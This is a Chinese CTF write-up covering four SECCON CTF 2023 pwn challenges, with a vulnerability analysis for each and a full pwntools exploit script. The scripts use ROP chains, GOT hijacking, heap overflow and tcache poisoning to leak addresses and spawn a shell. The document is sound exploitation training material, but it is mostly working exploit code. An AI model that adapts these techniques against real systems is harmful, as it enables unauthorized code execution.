0%

SECCONCTF2023

rop-2.35

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=71bdaa4e6af292c2f768dad63ba43949ee801dcb, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,NX

漏洞分析

简单栈溢出:

1
2
system("echo Enter something:");
return gets(buf, argv);

入侵思路

先起一个 docker,执行如下命令拷贝 libc 文件:

1
docker cp 61a471ee750d:/lib/x86_64-linux-gnu/libc.so.6 . 

先给出一个简单的脚本:

1
2
3
system_maigc = 0x401169
payload ="sh\x00"+"a"*0x15+p64(system_maigc)
sla("something:",payload)

唯一一个需要解决的问题就是 system 报错:

1
2
3
0x7ffff7de3963    movaps xmmword ptr [rsp], xmm1
0x7ffff7de3967 lock cmpxchg dword ptr [rip + 0x1cae11], edx
0x7ffff7de396f jne 0x7ffff7de3c20 <0x7ffff7de3c20>
  • 该汇编指令的含义为:从 xmm1 拷贝16字节的数据到 RSP
  • movaps xmmword 会检查栈是否对齐

解决完这个段错误后,system 还有可能不会执行,这是由于 RSP 上的地址最终指向了非“0”区域

1
2
*RSP  0x7fffffffdc80 —▸ 0x403e00 ◂— 0x0 /* 合法 */
*RSP 0x7fffffffdc50 ◂— 0x100000000 /* 不合法 */
  • 可以通过调整 gadget ret 的数目来调整 RSP 使其满足条件

另外写入的 ret 也不能过多,否则会破坏其后的关键数据(环境变量等)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './chall1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x401184\nb* 0x40116C\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
start_addr = 0x401070
main_addr = 0x401182
system_got = 0x404018
system_maigc = 0x401169
bss_addr = 0x404600
gets_plt = 0x401060
gets_maigc = 0x401171
add_rsp_ret = 0x0000000000401016
ret = 0x000000000040101a

payload ="sh\x00".ljust(8,"\x00")+"\x00"*0x10+p64(ret)*30+p64(system_maigc)
sla("something:",payload)

p.interactive()

selfcet

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
xor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6351f884825de925635334fd77a7aa091b2a8de2, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

栈溢出漏洞:

1
2
read_member(&cxt, 0LL, 0x58uLL);
read_member(&cxt, 0x20LL, 0x58uLL);

可以覆盖函数指针:

1
2
3
4
5
6
if ( cxt->status )
{
if ( _byteswap_ulong(*(_DWORD *)cxt->func) != 0xF30F1EFA )
BUG();
((void (__fastcall *)(_QWORD, char *))cxt->func)((unsigned int)cxt->status, cxt->error);
}

入侵思路

位于 cxt->func 的函数指针可以被覆盖,但对覆盖后的地址有一定的检查,经过查找只有以下4处地址符合条件:

1
2
3
4
5
6
pwndbg> search -t dword 0xFA1E0FF3
Searching for value: b'\xf3\x0f\x1e\xfa'
xor1 0x401000 endbr64
xor1 0x4010c0 endbr64
xor1 0x4010f0 endbr64
xor1 0x4012b0 endbr64

还有一种方法就是将 err 覆盖低位变为其他 libc function,其中最好的目标就是 puts:(爆破概率为 1/4096)

1
2
3
4
5
pwndbg> telescope 0x7ffff7e13ed0
00:00000x7ffff7e13ed0 (puts) ◂— endbr64
01:00080x7ffff7e13ed8 (puts+8) ◂— push r12
02:00100x7ffff7e13ee0 (puts+16) ◂— sub esp, 0x10
03:00180x7ffff7e13ee8 (puts+24) ◂— mov r13, qword ptr [rip

但如果最后要打 system 会遇到莫名其妙的错误:

1
2
3
0x7ffff7e7e0f0 <execve>       endbr64 
0x7ffff7e7e0f4 <execve+4> mov eax, 0x3b
0x7ffff7e7e0f9 <execve+9> syscall
  • 返回值为 0xfffffffffffffff2,表示一个未定义的错误
  • 猜测大概率是环境变量的问题

想要解决这个问题就要直接执行 execve,并将环境变量设置为 “0”,但由于程序使用 edi 导致 libc 中的 /bin/sh 地址不能写入:

1
2
3
.text:00000000004011A8 89 C7                         mov     edi, eax
.text:00000000004011AA B8 00 00 00 00 mov eax, 0
.text:00000000004011AF FF D1 call rcx

因此这里先选择用 libc_start_main 重新执行程序,然后通过 gets 往可控地址中写入 /bin/sh,最后执行一个 execve 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './xor1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x4011AF\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

main_addr = 0x401209
bss_addr = 0x404010 + 0x100
write_got = 0x403FD0
strcspn_got = 0x403FE0
magic_addr = 0x4010F0

payload = "1"*0x20+"2"*0x20+p64(write_got)+p64(write_got)+p16(0x3ed0)+p8(0xe1)
p.send(payload)

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x114a20
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
execve_libc = libc_base + libc.sym["execve"]
libc_start_main = libc_base + libc.sym["__libc_start_main"]
write_libc = libc_base + libc.sym["write"]
printf_libc = libc_base + libc.sym["printf"]
gets_libc = libc_base + libc.sym["gets"]
puts_libc = libc_base + libc.sym["puts"]
dup2_libc = libc_base + libc.sym["dup2"]
bin_sh_libc = libc_base + 0x1d8698
canary_libc = libc_base - 0x2897
success("system_libc >> "+hex(system_libc))
success("dup2_libc >> "+hex(dup2_libc))

payload = "2"*0x20+p64(main_addr)+p64(main_addr)+p64(libc_start_main)
p.send(payload)

#debug()

payload = "1"*0x20+"2"*0x20+p64(bss_addr)+p64(bss_addr)+p64(gets_libc)
p.send(payload)
sleep(0.1)
sl("/bin/sh\x00")
sleep(0.1)

payload = "2"*0x20+p64(0)+p64(bss_addr)+p64(execve_libc)
p.send(payload)

p.interactive()

DataStore1

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f7db7c5af40bd044bf0bc48be35bc65a1d1a08a0, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序分析

本题目给了源码:

  • create 模块会要求输入 Type 以表示数据的类型
  • edit 模块会根据不同的 Type 来调用不同的函数

程序中有一句 scanf("%70m[^\n]%*c", &buf),它的基础逻辑就是读取最多70字节到 buf,但在内存中程序会先申请 0x70 大小的 chunk,然后调用 realloc 将其调整为合适大小的 chunk:

1
2
3
Allocated chunk | PREV_INUSE
Addr: 0x55bfa12cb3c0
Size: 0x71
1
2
3
4
5
6
7
8
Free chunk (tcache) | PREV_INUSE
Addr: 0x55bfa12cb3e0
Size: 0x51
fd: 0x55bfa12cb

Allocated chunk | PREV_INUSE
Addr: 0x55bfa12cb430
Size: 0x21

漏洞分析

有 UAF 漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int remove_recursive(data_t *data){
if(!data)
return -1;

switch(data->type){
case TYPE_ARRAY:
{
arr_t *arr = data->p_arr;
for(int i=0; i<arr->count; i++)
if(remove_recursive(&arr->data[i]))
return -1;
free(arr);
}
break;
case TYPE_STRING:
{
str_t *str = data->p_str;
free(str->content);
free(str);
}
break;
}
data->type = TYPE_EMPTY;

return 0;
}

堆溢出漏洞:

1
2
3
unsigned idx = getint();
if(idx > arr->count)
return -1;

入侵思路

核心思路就是利用堆溢出来修改相邻下一个 chunk 的数据:

1
2
3
4
5
add("a",0x6)
arr_update(0,"a",0x6)
arr_update(1,"a",0x6)
arr_delete(0x6)
arr_update(0x6,"v","64")
  • 如果数据类型为 array,则程序会在 chunk 的第一片8字节空间中写入该 array 的大小
  • 利用堆溢出可以修改 array->size,从而引发更大范围的堆溢出

下面是泄露堆地址的样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add("a",0x6)
arr_update(0,"a",0x6) # array0
arr_update(1,"v","a"*8) # string1
arr_update(2,"a",0x10) # array2
arr_delete2(0,6)
arr_delete(0x6)
arr_update(0x6,"v","8")
arr_update2(0,6,"v","a"*8)
cmd(2)
ru("[01] <S> ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x540
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))
  • 通过堆溢出扩大 array0->size,从而使其可以访问到 string1->data
  • 通过 arr_update2(0,6,"a",0x10) 申请 array1-6 实际上溢出到了 string1->data 的区域,并往 string1->data 中写入了一个堆地址

现在可以通过修改 string1->data 来间接修改 array1-6,接着我们需要释放大量 chunk 以得到 unsorted chunk,并伪造好 array1-6 的结构,再次打印时就可以泄露 libc_base 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(10):
arr_update2(2,i,"a",0x10)
for i in range(9):
arr_delete2(2,i)

arr_update2(2,10,"v",str(heap_base+0xe00))
str_update(1,p64(heap_base+0x4e0-8))

#debug()

cmd(2)
ru("[06] <S> ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x219ce0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

完成泄露以后,我们可以劫持 libc GOT,在 realloc@got[plt] 中写入 system 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './chall1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p,"b* 0x401184\nb* 0x40116C\n")
gdb.attach(p,"b *$rebase(0x17F3)\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(type,data):
cmd(1)
sla(">",type)
if(type == "a"):
sla("input size:",str(data))
else:
sla("input value:",data)

"""
1. Update
2. Delete
"""

def arr_update(index,type,data):
cmd(1)
sla("index:",str(index))
sla(">","1")
sla(">",type)
if(type == "a"):
sla("input size:",str(data))
else:
sla("input value:",data)

def arr_delete(index):
cmd(1)
sla("index:",str(index))
sla(">","2")

def arr_update2(index,index2,type,data):
cmd(1)
sla("index:",str(index))
cmd(1)
sla("index:",str(index2))
sla(">","1")
sla(">",type)
if(type == "a"):
sla("input size:",str(data))
else:
sla("input value:",data)

def arr_delete2(index,index2):
cmd(1)
sla("index:",str(index))
cmd(1)
sla("index:",str(index2))
sla(">","2")

def str_update(index,data):
cmd(1)
sla("index:",str(index))
sla(">","1")
sa("bytes):",data)

def str_update2(index,index2,data):
cmd(1)
sla("index:",str(index))
cmd(1)
sla("index:",str(index2))
sla(">","1")
sa("bytes):",data)

add("a",0x6)
arr_update(0,"a",0x6)
arr_update(1,"v","a"*8)
arr_update(2,"a",0x10)
arr_delete2(0,6)
arr_delete(0x6)
arr_update(0x6,"v","8")
arr_update2(0,6,"v","a"*8)

cmd(2)
ru("[01] <S> ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x540
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

for i in range(10):
arr_update2(2,i,"a",0x10)
for i in range(9):
arr_delete2(2,i)

arr_update2(2,10,"v",str(heap_base+0xe00))
str_update(1,p64(heap_base+0x4e0-8))

cmd(2)
ru("[06] <S> ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x219ce0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

realloc_libc_got = libc_base + 0x219028
system_libc = libc_base + libc.sym["system"]
one_gadgets = [0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
one_gadget = libc_base + one_gadgets[2]
success("realloc_libc_got >> "+hex(realloc_libc_got))

arr_update2(2,10,"v",p64(0x50)+p64(realloc_libc_got))
str_update(1,p64(heap_base+0xe00))

#debug()
str_update2(0,6,p64(system_libc))
arr_update(3,"v","/bin/sh\x00")

p.interactive()

blackout

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.3) stable release version 2.35.
1
2
3
4
5
6
blackout: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4c3a010b465f17f8212ac92f19b5b63be856f16b, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

程序有一个强转,导致 find 只能接受到后4字节:

1
2
3
4
5
6
7
8
for ( chunk = chunk_list[index]; max > chunk - chunk_list[index]; chunk = &next[len] )
{
find = (unsigned int)memmem(chunk, &chunk_list[index][max] - chunk, target, len);
next = (char *)find;
if ( !find )
break;
memset((void *)find, '*', len);
}

入侵思路

这个题目脑洞有点大:

  • 程序会截断 memmem 返回的地址,但程序没有开 PIE 导致申请到的 chunk 地址都在32位的范围内
  • 我们的目标就是反复执行 malloc,以保证之后的 chunk 在32位的范围外

之后就可以通过截断后的 memmem 来修改 chunk_list 地址上的内容:

1
2
3
4
5
pwndbg> telescope 0x404060
00:00000x404060 (letter) —▸ 0x14a13f0 ◂— 0x14a0600
01:00080x404068 (letter+8) ◂— 0x0
... ↓ 5 skipped
07:00380x404098 (letter+56) —▸ 0x1014a13f0 ◂— 0x0
  • 覆盖 0x14a0600 末尾的 “\x00” 就可以泄露 heap_base

泄露 heap_base 和 libc_base 的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
add(0, 0x10)
add(1, 0x10)
add(2, 0x10)
add(3, 0x10)

dele(1)
dele(2)
dele(3)

for i in range(8):
add(i, 0xe0)
for i in range(8):
if(i==6):
continue
dele(i)
dele(6)
add(0,0)
for i in range(3):
add(1,0)

for i in tqdm(range(0xffff)):
add(7, 0xffe8, b"")
if i % 0x1000 == 0:
p.clean()

add(6, 0xf850)
add(7, 0x1000,"a")
p.clean()

edit(7,"a")
leak_addr = u64(edit(0,"*").ljust(8,b"\x00"))
heap_base = leak_addr & 0xfffff000
if(leak_addr > 0x1000000):
heap_base += 0x1000
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

dele(6)
dele(7)
add(6, 0xfe10,"a")
add(7, 0x1000,"a")
p.clean()
edit(7,"a")
leak_addr = u64(edit(1,"*").ljust(8,b"\x00"))
libc_base = leak_addr - 0x219d2a
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

接下来需要劫持 tcache head,将其中的某个 tcache bin 的倒数第2字节改为 0x2a(为了 chunk 地址合法,不能该最后一字节)

由于开了 PIE,我们需要根据泄露的 heap_base 来定制 payload,并在 fake tcache bin 中伪造 fake chunk,因此还需要先泄露 tcache key

接着就可以劫持 tcache head 进而劫持 0x404060,然后通过 __libc_argv 泄露栈地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
dele(6)
dele(7)
add(6, 0xf648,"a")
add(7, 0x1000,"a"+"b")

for i in range(3): # 填充tcache head
add(i+2,0xf0)
for i in range(3):
dele(i+2)

target_tcache = heap_base + 0x100001310
new_tcache = (target_tcache & 0xffffffffffff00ff) + 0x2a00
new_top_chunk = heap_base + 0xffff0aa0
success("target_tcache >> "+hex(target_tcache))
success("new_tcache >> "+hex(new_tcache))
success("new_top_chunk >> "+hex(new_top_chunk))

edit(7,"b")
dele(6)
dele(7)
victim = heap_base + 0x10
next_ptr = ((new_tcache) >> 12) ^ victim
payload = b"a"*(new_tcache-new_top_chunk-0x10)+p64(0)+p64(0x211)+p64(next_ptr)+p64(tcache_key)
add(6, 0xf000,payload)
add(0,0xf0)
add(1,0xf0,p64(0x0002000200020002)*4+p64(0)*24+p64(0x404060))

libc_argv = libc_base + 0x21aa20
success("libc_argv >> "+hex(libc_argv))

add(1,0xd0,p64(libc_argv)+p64(victim))
leak_addr = u64(edit(0,"*").ljust(8,b"\x00"))
stack_base = leak_addr - 0x110 - 8
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

最后劫持栈就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
# -*- coding:utf-8 -*-
from pwn import *
from tqdm import tqdm
import os

arch = 64
challenge = './blackout1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401765\n")
#gdb.attach(p,"b *$rebase()\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(index,size,data=""):
sl("1")
sl(str(index))
sl(str(size))
if size!=0:
sl(data)

def edit(index,data):
sl("2")
sl(str(index))
sl(data)
ru("[Redacted]\n")
return ru("\n")

def dele(index):
sl("3")
sl(str(index))

add(0, 0x10)
add(1, 0x10)
add(2, 0x10)
add(3, 0x10)

dele(1)
dele(2)
dele(3)

for i in range(8):
add(i, 0xe0)
for i in range(8):
if(i==6):
continue
dele(i)
dele(6)
add(0,0)
for i in range(3):
add(1,0)

for i in tqdm(range(0xffff)):
add(7, 0xffe8, b"")
if i % 0x1000 == 0:
p.clean()

add(6, 0xf850)
add(7, 0x1000,"a")
p.clean()

edit(7,"a")
leak_addr = u64(edit(0,"*").ljust(8,b"\x00"))
heap_base = leak_addr & 0xfffff000
if(leak_addr > 0x1000000):
heap_base += 0x1000
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

dele(6)
dele(7)
add(6, 0xf850)
add(7, 0x1000,"1"*0x10+"2"*0x10+"3"*0x8)
edit(7,"1"*0x10)
edit(7,"2"*0x10)
edit(7,"3"*0x8)
tcache_key = u64(edit(0,"*")[0x28:0x30])
success("tcache_key >> "+hex(tcache_key))

dele(6)
dele(7)
add(6, 0xfe10,"a")
add(7, 0x1000,"a")
p.clean()
edit(7,"a")
leak_addr = u64(edit(1,"*").ljust(8,b"\x00"))
libc_base = leak_addr - 0x219d2a
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

dele(6)
dele(7)
add(6, 0xf648,"a")
add(7, 0x1000,"a"+"b")

for i in range(3): # 填充tcache head
add(i+2,0xf0)
for i in range(3):
dele(i+2)

target_tcache = heap_base + 0x100001310
new_tcache = (target_tcache & 0xffffffffffff00ff) + 0x2a00
new_top_chunk = heap_base + 0xffff0aa0
success("target_tcache >> "+hex(target_tcache))
success("new_tcache >> "+hex(new_tcache))
success("new_top_chunk >> "+hex(new_top_chunk))

edit(7,"b")
dele(6)
dele(7)
victim = heap_base + 0x10
next_ptr = ((new_tcache) >> 12) ^ victim
payload = b"a"*(new_tcache-new_top_chunk-0x10)+p64(0)+p64(0x211)+p64(next_ptr)+p64(tcache_key)
add(6, 0xf000,payload)
add(0,0xf0)
add(1,0xf0,p64(0x0002000200020002)*4+p64(0)*24+p64(0x404060))

libc_argv = libc_base + 0x21aa20
success("libc_argv >> "+hex(libc_argv))

add(1,0xd0,p64(libc_argv)+p64(victim))
leak_addr = u64(edit(0,"*").ljust(8,b"\x00"))
stack_base = leak_addr - 0x110 - 8
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x00000000000796a2
syscall_ret = libc_base + 0x0000000000114439
binsh_addr = libc_base + 0x1d8698

payload = b"a"*8
payload += p64(pop_rax_ret)+p64(0x3b)
payload += p64(pop_rdi_ret)+p64(binsh_addr)
payload += p64(pop_rsi_ret)+p64(0)
payload += p64(pop_rdx_ret)+p64(0)
payload += p64(syscall_ret)

dele(1)
add(1,0x280,p64(0x0002000200020002)*4+p64(0)*24+p64(stack_base))
add(1,0xd0,payload)

#debug()

p.interactive()